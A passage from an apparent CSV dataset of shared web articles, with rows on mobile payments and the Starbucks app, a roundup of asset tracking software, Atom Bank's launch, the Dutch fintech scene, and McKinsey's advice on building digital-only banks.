to use a phone or watch as a wallet. You have to prove repeatedly why a smartphone is better than cash or credit cards, until the behavior sticks. So what did Starbucks do right, and how can the tech companies take cues from them? Bribery works: A big allure of the Starbucks mobile app is a connection with the company's loyalty program, which doles out goodies like free coffee once people buy a certain amount of Starbucks menu items or merchandise. Even though people complained about a recent change Starbucks made to its rewards program, bribery is incredibly effective at changing human behavior. The lure of discounts worked for Wal-Mart when it tried to hook people on its mobile price comparison app. What if Apple or Facebook also added loyalty rewards? Let's say Apple gave people who used Apple Pay a $1 credit or a free iTunes song download for each $20 of merchandise purchased through Apple Pay. That would persuade a lot of newbies to try Apple Pay and then use it repeatedly. * Focus on situations where speed matters: For caffeine addicts, using a phone to order and pay for a Venti caramelized honey latte and then skip the line to pick it up is a chief benefit of the Starbucks app. But the speed benefits are less obvious in other settings. Using Samsung Pay to buy a pastrami sandwich, for example, isn't significantly more convenient or faster than handing over a $20 bill or swiping a credit card. Imagine if Samsung concentrated instead on situations where stripping away annoyances makes a big difference. Work out exclusive deals with Whole Foods or concession stands at Wrigley Field to create a dedicated line for people checking out with Samsung Pay. Or how much would you love Samsung Pay if you could get out of a taxi without having to fumble for money or a card, just as people do when they take an Uber car? * Focus on online: This lesson isn't one taken from Starbucks. But not long ago, I bought a movie ticket on Fandango, and instead of pecking my personal information and credit-card info into tiny text boxes on my phone, I used my fingerprint to buy with Apple Pay. It was the first (and only) time I have used Apply Pay, and the experience made me think smartphone purchases - rather than in-store transactions - are the real selling point for digital payments. Apple does seem to be learning this lesson. Soon, the company is expected to expand use of Apple Pay to customers who buy merchandise on mobile websites, according to Re/Code and other publications. Tech companies want to use mobile payments as a way to hook people on their smartphones and Web services. Job one is doing a better job of convincing consumers why they should bother.",en
1460120825,CONTENT SHARED,-4625438649010928449,6650574433856141080,3145020730587339693,,,,HTML,http://www.camcode.com/asset-tags/top-asset-tracking-software/,Top Asset Tracking Software: The 52 Best Tools and Software Solutions to Track Your Company's Vital Physical Assets,"Assets are a critical component of any business or organization, but tracking those assets can be one of the most time-consuming tasks of the entire work day. The good news is, barcodes, scanners, asset tracking software, and other asset tracking tools can streamline your work day and help to make your employees work more efficiently and productively. The best asset tracking software solutions and tools also enable organizations to track repair and maintenance schedules, asset locations, and other crucial asset information. We at Camcode understand the value of assets and the importance of utilizing high quality software and tools to track them. That's why we have compiled our list of the top asset tracking software solutions and tools. We have searched asset tracking software and tool reviews, top technology sites and blogs, and expert opinions to build this list of top-rated asset tracking software solutions and tools. Our asset tracking software and tool picks cover a range of industries and include the most useful features, such as automated check in and check out; asset tracking by site, location, user, serial number, and other criteria; alerts and notifications of overdue assets, maintenance needs, expiring warranties; multi-user and multi-location support; and more. To meet all of your asset tracking needs, our list of top asset tracking software solutions and tools also includes handheld scanners and mobile apps. Please note, our top 52 asset tracking software solutions and tools are listed here, in no particular order . Wasp Asset Software provides ""asset management benefits for your business."" The asset software saves valuable time and eliminates the need for spreadsheets, while ensuring proper inventory management for your organization. With Wasp Asset Software, you instantly know who has which assets, when they are due back, the date of purchase, and when you are due a refresh. Key Features: Automate the check in and check out to employees, vendors, or customers Go to your assets with mobile computers instead of bringing them back to your PC Add, edit, check in, check out, and move assets or quickly do audits with the mobility allowed by Wasp Asset Software Complete audits and cycle counts on a mobile computer for 100% accuracy Track assets by site, location, serial number, or user Alerts give notification of overdue checkouts, expiring warranties, schedule maintenance, certification/calibration, and more Available in standard, professional, or enterprise version Cost: Contact for a quote WiseTrack Core Asset Tracking Software manages data for assets, locations, users, vendors, contracts, and more. All of the data is organized in a central Asset Repository, supported by Microsoft SQL Server. WiseTrack Core features Windows user interface designs, making it simple and familiar for users. Key Features: Designed and tested with Microsoft technologies Built to scale Supports multiple users of the system Can run as a single stand-alone solution Integrates best practices, database design, relational integrity, and proper naming conventions Works with bar code technology, data importing/integration tools, and more Easily customizable to suit your specific needs Cost: Contact for a quote IntelliTrack Software manages inventory and assets, including anything that can be tagged or barcoded. IntelliTrack Fixed Assets Tracking Software is appropriate for a variety of industries and uses and makes it simple to manage assets. Key Features: Cost: FREE trial available; Contact for a quote ManagerPlus asset tracking software is an easy-to-use software system the helps companies increase their ROI while decreasing their operation costs. Track the location and return due dates for any asset with ManagerPlus Asset Tracking, an add-on module for ManagerPlus Desktop and ManagerPlus Cloud. ManagerPlus Asset Tracking also allows users to create as many locations as needed. Key Features: Cost: Contact for a quote FMIS Fixed Asset Management software is trusted in more than 40 countries. FIMS offers a full range of fixed asset management solutions to address your business requirements, from a simple fixed asset register to a full asset management and tracking system. With FIMS, you get a modular approach to tailor the software to your needs. Key Features: Cost: Contact for a quote EZOfficeInventory is a leading web-based asset tracking software solution. With EZOfficeInventory, you can easily access asset information from any device, from anywhere and at any time. EZOfficeInventory offers Android, iOS, and Windows apps and is accessible from any mobile device with a browser. Key Features: Cost: FREE trial available for 15 days Asset Panda seeks to help your organization organize and manage all of your assets. Their powerful asset tracking software and apps is designed to replace costly hardware, software, and spreadsheets. Asset Panda is a cloud-based asset tracking system that allows users to use smartphones or tablets to track assets with their free apps. Key Features: Cost: FREE trial available for 14 days; Contact for a quote Sage Fixed Assets allows you to take control of your fixed assets, including buildings, machinery, computers and electronics equipment, office furnishings, and even your own assets that your company builds. With Sage Fixed Assets, managing and overseeing the varied lifecycles of such a broad array of assets becomes simple and straightforward. Key Features: Manage depreciation of fixed assets over time with more than 50 depreciation methods Ensure compliance with government regulations Allocate cost and depreciation of individual or groups of assets to more than one funding source Easy-to-use wizards walk you through the inventory process 40 fully customizable fields for inventory control Track all of your project details, including status, contacts, notes, financials, and more Project, line item, and transaction-level viewing At-a-glance status updates with built-in reports Cost: Contact for a quote An enterprise asset management solutions company, Sunflower Systems specializes in deploying software tools to simplify asset management tasks. With its comprehensive Lifecycle Asset Management solution, Sunflower Systems enables the effective management, control, and use of property, improving accountability and regulatory compliance through the entire enterprise asset management lifecycle. Key Features: Cost: Contact for a quote 10. Tofino @tofinosoft Tofino Software is one of the world's leading suppliers of cloud-based SaaS resource and procurement management applications. Tofino offers a single integrated cloud solution for your organization's needs, including inventory management, asset management, maintenance management, and smart procurement.Their enterprise asset management solution includes logging, location tracking, calibration, repair and warranty information, and a digital library. Key Features: Cost: Contact for a quote Infor is known as a leading provider of enterprise applications, specialized by industry. Infor EAM is a highly configurable enterprise-grade asset management solution. Get the power to improve capital asset management to increase reliability, enhance predictive maintenance, ensure regulatory compliance, reduce energy usage, and support sustainability initiatives. Key Features: Available in industry-specific editions, including manufacturing , healthcare , hospitality , public sector , and oil and gas Schedule preventive maintenance and assign resources where they will be most beneficial Find out where and why your capital assets might fail and plan alternatives Predict equipment reliability problems so you can prevent them from happening Reduce inventory and purchasing costs and collect on warranty-related claims Manage assets to meet corporate performance goals Cost: Contact for a quote 12. 4Site Enterprise Asset Management 4Site Enterprise Asset Management (EAM) Suite is an integrated solution for maintenance, materials, and financial management. Extend the scope of your computerized maintenance management system beyond maintenance with 4Site EAM's tightly integrated capabilities for maintenance, purchasing, inventory, accounting, and financial activities. 4Site Asset Maintenance is the centerpiece of the 4Site integrated EAM suite. Key Features: Cost: Contact for a quote Fishbowl is the top selling inventory management software for QuickBooks users. Fishbowl is a standalone asset tracking solution that provides all of the tools needed for managing multiple warehouses, tracking shipments, and increasing efficiency. Key Features: Cost: FREE trial available ASAP Systems offers a comprehensive inventory and asset tracking system that is enabled by barcode and smartphone technology. Passport is ASAP Systems' asset tracking system that adapts to your business needs. With Passport, your organization can increase business productivity and automate asset management tasks. Key Features: Cost: FREE trial available; Contact for a quote GigaTrak offers solutions that meet a variety of needs, including asset tracking. Their asset tracking system is a complete asset management solution that is known for its reliability and ease of use. This powerful asset tracking software helps you find assets when you need them, with tracking available by person or location. Key Features: Cost: FREE trial available; Contact for a quote Apptricity is a world leading provider of innovative mobile enterprise software for supply chain management and integrated finance solutions. Apptricity Asset, available in standard, professional, and enterprise editions, allows organizations to multiple their efficiencies and maximize their ROI with end-to-end visibly and oversight for every aspect of their physical assets. Key Features: Cost: Contact for a quote System ID helps small to medium-sized businesses automate manual processes, scale existing systems, and optimize critical operations using barcode solutions. Their asset tracking software helps organizations save time and money, plus avoid auditing headaches and streamline asset processes. Key Features: Cost: Contact for a quote ScanMan software aims to make scanning easy. The ScanMan Asset Management System (SAMS) uses the latest hardware, software, scanning, and communications technology to manage assets. SAMS begins and ends with your ERP or Excel data and provides fully-detailed traceability of all of your assets. Key Features: Cost: Contact for a quote 4SIGHT Asset Track is an inventory management software that helps organizations track high-value inventory, including work-in-progress inventory and manufacturing equipment, returnable transport items, such as reusable tots, pallets, etc., using barcodes and other auto-ID technologies. Key Features: Cost: FREE trial available for 90 days; Contact for a quote TrackAbout provides SaaS asset tracking and management solutions for companies in packaged gas, chemicals, HME, oil field, university equipment, and more. With TrackAbout, employees get powerful asset tracking in their hands. TrackAbout also integrates with existing enterprise systems and provides relevant, accurate data to provide your organization with better control of your assets. Key Features: Cost: Contact for a quote BarControl Systems provides inventory control and supply chain management software solutions. Their asset/equipment management core module, iBEM, is an asset management software solution offering complete fixture, tool, equipment, and calibration tracking. Key Features: Cost: Contact for a quote 22. Physical Asset Tracking App Aridhio Technologies offers physical asset tracking software and their Physical Asset Tracking App to help organizations track physical assets with barcoded location tags. Employees can use their Android smartphone to scan asset and location barcodes, maintain transaction records, check out assets to personnel, and record and track maintenance with the Physical Asset Tracking app from Aridhio. Key Features: Download: Google Play : $8.99 23. Asset Manager Asset Manager is an Android app that originally was intended for organizing personal belongings but is appropriate for small businesses looking to inventory all of their assets. The user-friendly asset tracking and inventory management app is easy to use and allows users to categorize assets and assign locations to them. Key Features: Download: Google Play : FREE eQuip! delivers easy to use, flexible software. Their complete asset management platform allows organizations to focus on the business behind asset management while the asset tracking software does the rest. Choose eQuip! Asset Management to ""eliminate work and maximize your savings."" Key Features: Cost: Contact for a quote 25. AsTrack From BCSD Solutions, Australia's leading barcode solutions provider, AsTrack is an asset tracking tool for Android devices. AsTrack is a secure, easy-to-use asset management solution for tracing and tracking assets within a warehouse or store environment. Key Features: Download: Google Play : FREE TeleNav provides asset tracking and management solutions that give businesses control of remote and mobile assets, including trailers, containers, construction equipment, generators, and other moveable equipment. Their Android app, TeleNav Track, is a mobile asset tracking solution that requires a monthly subscription, available through AT&T, Sprint, or Verizon. Key Features: Download: Google Play : FREE to download, but contact your carrier for monthly subscription rates Enigma Telematics, a Viasat Group company, seeks to help businesses track, trace, and monitor their valuable mobile assets. Their Skyline Mobile Asset Management solution is a web-based tracking platform appropriate for construction, plant and agricultural machinery, waste management, logistics, service management, and road transport organizations. Key Features: Download: Google Play : FREE to download, but requires a current subscription to the Skyline Asset Tracking System for use 28. Asset Tracker Mobile @omnilink_sys Key Features: Omnilink gives organizations the ability to ""track and monitor people and things brilliantly."" Their Asset Tracker Mobile Android app allows users to track and monitor important assets from a single web or mobile interface. Download: Google Play : FREE Key Features: Sprocket CMMS is warehouse management software designed for lean warehouse facilities to proactively manage asset maintenance and reliability. The Sprocket CMMS asset management solution allows organizations to effectively manage assets by assessing and tracking equipment repairs, forecasting future needs for better capital planning, and keeping your facility competitive. Cost: FREE trial available; Contact for a quote Key Features: AssetWorks delivers industry-leading business solutions that help asset-intensive organizations control costs and streamline operations. Their mobile inventory solutions include a fixed asset data collection and on-site reconciliation system. Begin simply with a file containing the applicable fields for your physical inventory. Cost: Contact for a quote Key Features: TrackItLog, from Logware, lets organizations track anything, easily. The intuitive design and user-friendly dashboard allow organizations to see the status of all items at a glance, or easily search, sort, filer, and edit items and lendees. Online software, so you don't have to worry about downloading or installing anything Use your existing desktop, laptop, tablet, or mobile device Peripheral devices, such as barcode, scanners, and number pads are compatible, but not required High-quality customer service allows you to reach a real person 24/7 Unlimited assets at unlimited facilities Describe, search, and filter your inventory Maintain past records of items and the people who borrowed them Add, track, and store lendees Cost: FREE trial available; Contact for a quote Key Features: Cost: MapYourTag makes asset tracking from your smartphone or tablet simple. MapYourTag assists enterprises and other organizations in tracking, managing, and tracing their assets, equipment, tools, and other items in a single interface using any ID, barcode, or other tag. Track assets, equipment, and tools with the MapYourTag app, available for Android and iOS devices. 33. Asset Tracker Free Plan - 2 users, 10 assets Pro: $9/month - 20 users, 50 assets Enterprise: $19/month - 200 users, 50 assets Custom: Contact for a quote Google Play : FREE iTunes : FREE Key Features: Asset Tracker is a free inventory/asset tracking and management web application. Track any sort of asset, with a user-configurable number, type, and field name. Asset Tracker can hold multiple asset databases and has a plug-in system and simple authentication and access process. 34. RedBeam Asset Tracking Software Cost: FREE Key Features: RedBeam Asset Tracking Software helps organizations know what they have and where it is. With RedBeam, you can increase accountability, meet audit requirements, and minimize insurance costs and taxes. Manage your assets from anywhere with RedBeam's web-based asset tracking. 35. TCMax Asset Tracking System Cost: Contact for a quote Key Features: The Asset Tracking System from TCMax is real-time asset tracking software. Know exactly where your assets are at all times or track the status and condition of your assets with TCMax Asset Tracking software. Plus, quickly see who has your assets and pinpoint when and in whose possession asset defects occur. 36. Janam XM-66 Cost: Contact for a quote Key Features: The Janam XM-66 from Fixed Asset Tracking Software (FATS) is an asset tracking tool that is known for its ease of use, durability, and flexibility. This portable barcode scanner is a fully functional Windows Pocket Mobile portable computer, with a built-in laser barcode scanner. The Janam XM-66 also can be loaded with FATS software to become a powerful addition to the FATS Asset Tracking System . Cost: Microsoft Windows Mobile 6.1 High performance barcode scanning Small, light, and truly pocketable Backlit numeric keypad Brilliant QVGA color display Powerful computing performance Wireless communication options Sealed to IP54 standards 37. Real Asset Management Asset Tracking Software @RealAssetMgt Key Features: Janam XM 66 Windows Mobile PDA Scanner: $1,195 Janam XM 66 with no radio for secure areas: $1,345 Real Asset Management, a leader of fixed asset management solutions, offers fixed asset management and tracking software. Their fixed asset tracking software is a comprehensive data-capture and asset tracking system that increases the speed, accuracy, and efficiency of the asset audit. Key Features: Cost: Contact for a quote CG4 is an enterprise-level, web-based asset tracking software. With CG4, you can install the software locally or choose to have it installed on a hosted server. CG4 Asset Tracking is configurable and compatible with integrated scanners, smartphones, USB scanners, and Bluetooth-connected scanners using barcodes. Key Features: Cost: Contact for a quote Cost: Dedicated to helping organizations manage and save with their physical assets, Assettrac offers its Track in a Box, a ""low-cost solution to all of your asset tracking needs."" Assettrac Track in a Box includes a Newline PT980 barcode scanner, AP mobile scanning software, and more as an off-the-shelf solution to your asset tracking needs. 40. Bar|Scan Software Transforms the lifecycle management of all your assets, without installing new software Reduce management time and paperwork Move data between PC and handheld very easily Carry your asset inventory around with you Interrogate any asset via its barcode label to display all characteristics Conduct inventory audits and amend any details Link straight to XL or any other Windows-based management program Key Features: Track in a Box (scanner and software): £840.00 Software only: £250.00 Bar|Scan is a complete barcode asset management system that delivers specialized barcoding software. It is designed to meet a company's enterprise-wide asset information needs through the accuracy of barcodes and portable barcode readers, so that your organization can more accurately track assets in less time than a manual inventory. Key Features: Cost: Contact for a quote Finale Inventory offers cloud-based, adaptable inventory management. An ideal solution for small to medium-sized companies, Finale Inventory fits in with a company's existing accounting system, such as QuickBooks or Excel. Finale Inventory Asset Tracking Software includes is easy to understand and accessible from anywhere, so employees in various locations have consistent views of your records. Key Features: Cost: FREE trial available Unitech is known for its affordable, reliable data capture products. Their HT630 is a best-selling asset tracking tool that provides ""the most straightforward user experience possible."" This rugged handheld computer is powerful and flexible enough to work in a variety of environments, including warehouses and stockrooms to track your assets. Key Features: Cost: Contact for a quote Datalogic's PowerScan PM9500 is a rugged cordless reader that is suitable even for demanding applications. This area imager is a great fit as an asset tracking tool because it is equipped with a new generation of the Datalogic STAR Cordless System, which improves its versatility, ease of use, and radio range. Its soft-pulsed white illumination light is gentle on the eyes and is less troublesome for operators during scan-intensive situations. Key Features: Cost: Contact for a quote 45. TagSmart SHOOTRAC offers asset relationship management (ARM) in the form of a cloud-based, scalable, SaaS that gives organizations that ability to capture real-time data on its assets and mobile workforce. With SHOOOTRAC, you can gain efficiency and decrease cost while tracking your assets. Key Features: Cost: 46. WiiN Cost: Contact for a quote Key Features: TagSmart's cloud-based, asset tracking and inventory management platform is an easy, affordable way to track and manage assets. TagSmart works in conjunction with its free iOS and Android apps and is compatible with barcodes to help you track your assets when and where you need to. WiiN is a mobile tool management system that provides an efficient way to track your tool assets across all job sites. Search, locale, and request tools from other locations in seconds with WiiN's mobile device and cloud-based inventory solutions. Use your smartphone to track your tools with WiiN's mobile apps, so you can stop asking, ""Where is it now?"" Cost: Contact for a quote Key Features: iTunes : FREE for WiiN asset tracking service subscribers With Syrvel, you can ""track anything - anywhere - anytime,"" for ""elegant, purposeful, asset tracking."" Servile gives users the ability to choose the iOS device on which to use it, and where to use it. Plus, you can make adjustments automatically as Syrvel notifies you of asset changes and opportunities. Key Features: Cost: Contact for a quote A tool tracking system designed especially for contractors and tool crib managers, Trimble AllTrak makes it possible to track construction asset usage and reduce loss. This professional tool and asset management system is highly efficient, giving contractors the solution they need for knowing where their tools are, who is responsible for them, when they should be returned, and when they need to be serviced. Key Features: Cost: Contact for a quote 50. Fixed Asset Tracking System (FATS) Intermec, part of Honeywell Scanning & Mobility, offers the SR61HD DPM to track your most valuable assets through their lifecycle. The SR61HD DPM is capable of scanning high density bar codes commonly used to track assets in defense, aerospace, automotive, pharmaceutical, and telecommunications industries. Key Features: Cost: Contact for a quote The Fixed Asset Tracking System (FATS), by Computer Directions, uses barcodes to track company assets, locations, people, and more. You can also track assets anywhere around the world with FATS Web, which allows you to keep your asset database in one place, even if your company has assets spread out over multiple buildings or cities. Key Features: Cost: Contact for a quote With Motorola Asset Management, you can manage and track radios, communications equipment, and parts inventory. Organizations can maintain complete asset visibility with the intuitive user interface, configurable asset organization, and item search. If you need to manage and track assets on the go, you can use the mobile application for remote access any time, on any device. Key Features: Cost: Contact for a quote Asset Tracking Solutions from Camcode: The IntelliScanner SOHO Black includes Inventory 2.0, so that you can track your assets and inventory quickly and easily. Made for small businesses, the IntelliScanner SOHO also works with programs on your existing Mac or PC, including Excel, FileMaker, LightSpeed, and Microsoft Office, so that you can scan barcodes into any program with a customizable keyboard emulation. Cost: $299.00 - Includes IntelliScanner SOHO Black portable barcode scanner, mini USB cable and neck strap, Inventory 2.0 software, media software, business integration kit, and keyboard emulation",en
1460121009,CONTENT SHARED,719128783277038733,-6316613156648676087,5673696108944885080,,,,HTML,http://www.telegraph.co.uk/business/2016/04/06/atom-bank-launches-app-only-savings-account-for-iphones/,Atom Bank launches app-only savings account for iPhones,"Digital-only lender Atom Bank is launching today as the latest challenger seeking to shake up Britain's financial services market and to wrest customers away from the big banks. Atom will initially offer services only via iPhone and iPad apps , and said it plans to launch for mobile customers with the Android operating system in the near future. The first product to individual customers is a one-year fixed-term savings account, which offers depositors 2pc interest - a rate which is very close to being the best on the market, indicating the bank's desire to raise deposits quickly. Small business customers will also be offered secured loans which will be sold via intermediaries such as mortgage brokers. The bank said it plans to offer more products soon, including a current account. ""By the end of 2016, customers will have access to fixed savings, current accounts, overdrafts, debit and credit cards, instant access savings and residential mortgages, all serviced via the app,"" it said.",en
1460121178,CONTENT SHARED,-973131232603202326,-6316613156648676087,5673696108944885080,,,,HTML,http://hollandfintech.com/infographic-dutch-fintech-scene/,Infographic Dutch Fintech Scene - HollandFintech.com,"Infographic Dutch Fintech Scene Holland FinTech is proud to announce that is has published the first infographic illustrating the Dutch fintech ecosystem. The Dutch fintech start-up scene has seen substantial growth in recent years and has spawned many industry leading fintech start-ups, such as Adyen , Pritle and Moneytis . Both the Dutch regulator and the government have demonstrated a supportive stance towards new innovative financial technologies, and with Amsterdam being a major European financial centre, Holland has quickly become a hub for European fintech start-ups. As you can see on the infographic, Dutch fintech companies are particularly active in the alternative finance, data and research analytics and the payments space. Security, personal finance and alternative wealth management are also areas, within fintech, where Dutch start-ups are establishing themselves. If you are a Dutch fintech company and you do not see yourself listed on the infographic please contact us at info@hollandfintech.com",en
1460121301,CONTENT SHARED,-7002558676365724983,-6316613156648676087,5673696108944885080,,,,HTML,http://www.mckinsey.com/industries/financial-services/our-insights/building-a-digital-banking-business,Building a digital-banking business,"Banks have been using digital technologies to help transform various areas of their business. There's an even bigger opportunity-go all digital. The digital revolution in banking has only just begun. Today we are in phase one, where most traditional banks offer their customers high-quality web and mobile sites/apps. An alternate approach is one where digital becomes not merely an additional feature but a fully integrated mobile experience in which customers use their smartphones or tablets to do everything from opening a new account and making payments to resolving credit-card billing disputes, all without ever setting foot in a physical branch. More and more consumers around the globe are demanding this. Among the people we surveyed in developed Asian markets, more than 80 percent said they would be willing to shift some of their holdings to a bank that offered a compelling digital-only proposition. For consumers in emerging Asian markets, the number was more than 50 percent. Many types of accounts are in play, with respondents indicating potential shifts of 35 to 45 percent of savings-account deposits, 40 to 50 percent of credit-card balances, and 40 to 45 percent of investment balances, such as those held in mutual funds. In the most progressive geographies and customer segments, such as the United Kingdom and Western Europe, there is a potential for 40 percent or more of new deposits to come from digital sales by 2018. Many financial-technology players are already taking advantage of these opportunities, offering simplified banking services at lower costs or with less hassle or paperwork. Some upstarts are providing entirely new services, such as the US start-up Digit, which allows customers to find small amounts of money they can safely set aside as savings. A new model: Digital-only banking businesses While it's important for banks to digitize their existing businesses, creating a new digital-only banking business can meet an evolving set of customer expectations quickly and effectively. This is especially true in fast-growing emerging markets where customer needs often go unmet by current offerings. The functionality of digital offerings is limited, and consumers frequently highlight low customer service at branches as a key pain point. Digital So how should banks think about a digital-only offer? Because banking is a highly regulated industry and a stronghold of conservative corporate culture, there are tremendous internal complexities that need to be addressed. These include the cannibalization risk to existing businesses and the need to foster a different, more agile culture to enable the incubation and growth of an in-house ""start-up."" The good news is that our work shows it is feasible to build a new digital bank at substantially lower capex and lower opex per customer than for traditional banks (Exhibit 1). This is due not only to the absence of physical branches but also to simplified up-front product offerings and more streamlined processes, such as the use of vendor-hosted solutions and selective IT investment, that reduce the need for expensive legacy systems. Six success factors to build digital-banking businesses Based on our experience helping more than 20 institutions evaluate, design, and build new digital-banking businesses, we have identified six critical success factors that banks will need to address to ensure a quick and successful launch. 1. Focus on where the real value is Launching a successful new business requires complete clarity about what its value drivers are. While this might seem like an obvious point, we find it is often overlooked. Instead, there is a temptation to copy or replicate existing models. For instance, mBank, Poland's first digital bank, has succeeded by offering consumers access to unsecured personal loans and other simple products. It's a model that works in countries like Poland and the Czech Republic, where credit cards aren't popular, but may not be successful in some other markets. Banks also tend to take the view that one solution can work for an entire region. Unfortunately, this approach misses significant value opportunities. A granular, country-by-country analysis of revenue per retail banking customer, for example, reveals significant differences in product opportunities (Exhibit 2). Breaking it down further by different customer segments or sub-segments highlights even starker differences that can inform a business strategy. Some 43 percent of banking customers in Taiwan, for instance, are open to digital-investment options versus just 17 percent in Australia. Another critical element that varies by country is the state of regulation (for example, the requirements for paper-based documents and forms) and the associated infrastructure (such as the availability of a universal national ID). China, for instance, has become a leading innovator in digital banking in part because of a favorable regulatory environment. 2. Constantly test to refine the customer experience Launching a successful new digital-banking business requires a marriage of traditional consumer research and a deep, real-time understanding of the behavior and pain points of individual customers. This means a constant and rapid stream of prototypes starting with the Minimum Viable Product (MVP) and subsequent iterations in order to figure out what will make the customer experience superior across all touchpoints. This sort of ""real life"" testing is critical for identifying what customers actually value as opposed to what they might say they value. It also yields up to 70 percent fewer defects and errors. One company, for instance, approached the creation of a digital-banking business targeted at emerging-markets millennials with a hypothesis that it would be critical to allow customers to sign in with their social-media accounts. Deeper interviews with customers and many versions of the prototype (100 to 150 screens for structured consumer research and feedback loops) revealed this was not true. On the contrary, urban and educated millennials have significant security and privacy concerns about any link between their finances and social networks. So instead of the social media sign-in, the team embedded visual security cues into the customer-onboarding process. 3. Organize for creativity, flexibility, and speed Building a business using a constantly iterative approach requires a way of working that banks typically aren't used to. There are three areas where a different way of operating needs to be nurtured. Cross-team collaboration. The core group building the digital bank should have a solid understanding of not just the new technology architecture, but also of the bank's design and brand and the economics of its business model. This includes full-time members, as well as temporary talent in critical areas, such as compliance. From here, the team can gradually scale up to include more staff from technology departments. Portugal-based digital bank Activobank, for example, started with a management team of six to eight people during the design of the digital business model and then scaled up to more than 30 during implementation (excluding line/operational roles). A 'garage like' working environment. While an actual garage isn't necessary, a physical space that provides a nurturing environment for creative thinking and prototyping is. This means open spaces, plenty of whiteboards and worktables where people can congregate and work together, as well as habits that foster innovation, such as so-called sprints. In a sprint, all the individuals involved in the development of a digital bank-developers, IT-security, compliance, risk-assessment, and marketing staff who understand the needs of the customer-get together in one room for several live brainstorming sessions. Instead of the lengthy back and forth that normally happens between departments, this allows for quick and efficient decisions about the technical specifications of the product. This process can truly deliver acceleration to working results. Sprints-from whiteboard to working version of the product-can happen in as little as four weeks. On average, companies see a 27 percent higher development productivity. For example, Orange Bank took approximately eight months from strategy to launch of version 1.0 of its digital offering, prioritizing time to market and limiting changes required to their core banking system. Additionally, they were able to quickly scale up, acquiring up to 800,000 customers in the first eight months of operations. One critical requirement and advantage of this approach for banks is the way it allows compliance and risk-assessment staff to get in the room early and take on the roles of enablers and problem solvers, instead of gatekeepers who are often looped in only after plans are well under way or even completed. A central 'control tower' team. Launching a digital bank is a juggling act, with multiple miniprojects running at the same time, such as a new credit card, decisions about hiring, development of the organizational structure, and the creation of a brand. It is the job of the control-tower team to make sure all these projects are coordinated by moving resources to necessary teams quickly or prioritizing initiatives so that timeline targets can be met. The team must work to identify bottlenecks-such as vendors who don't respond rapidly enough to requests or IT not having enough storage capacity for data-and then either quickly resolve them or refer the problems upward to the CEO or the board. The members of this team should be exceptional project managers with experience running large-scale projects, a high comfort level with agile development and sprints, a good working knowledge of the big picture, and a clear understanding of relevant regulatory issues. 4. Create an ecosystem of partnerships Successfully launching a new digital-banking business requires quickly acquiring a critical mass of customers. Two industries with large amounts of digital customers who can help the process are e-commerce marketplaces and telecommunications. E-commerce players can be useful partners because they present an opportunity for banks to create lending services for the site's existing customers, both consumers and small and medium-size merchants. There's a clear benefit for the e-commerce player, too, since easy access to financing on an e-commerce site is an enticement for working-capital-constrained, rapidly growing small businesses to keep selling on that site. Likewise, if consumers know there is financing available, decisions to buy large-ticket items such as refrigerators or TVs become much easier. The success of Alibaba's Ant Financial in China, which serves small businesses and has grown into a $20 billion business in two years, illustrates the value of a bank/e-commerce union. Offering simple ways to get loans, Ant Financial has rapidly become one of the biggest lenders to small businesses in China. Although now owned by Alibaba, it originally started as a partnership with CCB and ICBC in 2007. 5. Build a two-speed IT operating model To implement the test-and-learn approach and short release cycles that are so critical for launching and operating a competitive digital bank, two different yet integrated IT systems are needed: the traditional, slower, secure and stable, transaction-focused legacy back end and a rapid, flexible, customer-centric front end. The customer front end should be designed by small, nimble product teams (usually fewer than ten people) using an agile, sprint-based development approach. Software release cycles for these customer-facing elements should be modular and designed for quick deployment, prioritizing a minimum viable solution that will evolve over time. To reduce the time needed to build the two-pronged system, a combination of customized and out-of-the-box functionalities can be used. One new digital player combined existing functionalities from their front-end provider, such as peer-to-peer payments, with new features that consumers care about but to which they don't have a lot of access, such as personal-finance modules where they can track their expenses and set savings goals. To the extent that the existing IT architecture and regulatory framework allow, a variable-cost model should be considered, such as cloud-based system or data-storage solutions. A number of solution providers are expanding into emerging markets to offer competitive alternatives to traditional high-capex investments in data centers. Adopting a cloud-based solution allows a new digital player to scale up its cost structure along with revenues, thus achieving a faster breakeven point. It also adds further flexibility, especially if the architecture is designed with open APIs to enable collaboration with potential financial-technology partners who already operate from a cloud-based environment. 6. Get creative with marketing Since digital-only banks don't have the same customer-acquisition opportunities as legacy banks with branch networks, marketing is a major cost, representing 25 to 35 percent of total operating expenses. This is true even for legacy banks that create digital start-ups, since the new entities must clearly differentiate their brand and value proposition from the parent operations' if they want to be successful. Digital-only banks will likely be targeting a younger, more digitally savvy customer than incumbent banks. AirBank, for instance, which launched in the Czech Republic without the backing of an existing bank, tagged itself as the ""first bank you will like"" and promised that all customer communications would be jargon-free and all fees clearly outlined in one simple document. To communicate such distinct selling points cost-effectively, banks must cultivate word-of-mouth recommendations and feedback through social media. This entails going after customers in a much more targeted way than banks are used to, both with an understanding of how to maximize value according to geographic distinctions (focusing on Twitter in Jakarta and WeChat in China, for instance) and specific customer niches (for example, buying ads on Facebook for millennials who play golf). One particularly creative marketing example is a promotion that China's successful messaging app Tencent's WeChat ran during the Chinese New Year holiday in 2014. To promote its WeChat Payment service, which allows peer-to-peer transfer and electronic bill payment, the company launched an app that allows users to send a specific amount of money to a certain number of friends, with the app randomly assigning the money. To redeem and see how much money you were sent, recipients had to sign up for a WeChat account. WeChat's virtual envelopes went viral because they added an element of suspense to the tradition of giving gifts of money in red envelopes during the New Year. In two days, the company got 200 million of its existing and new users to link their bank cards to their account, a feat that took Alibaba's Alipay eight years. Launching a new digital-banking business enables banks to rapidly drive value creation. A combination of leveraging smart technology solutions and incorporating the critical success factors outlined above can help banks do this in an accelerated manner. About the Authors Sonia Barquin is a consultant in McKinsey's Kuala Lumpur office, and Vinayak HV is a principal in the Singapore office. The authors would like to acknowledge the contributions of Somesh Khanna, a director in the New York office and a global leader of McKinsey Digital.",en
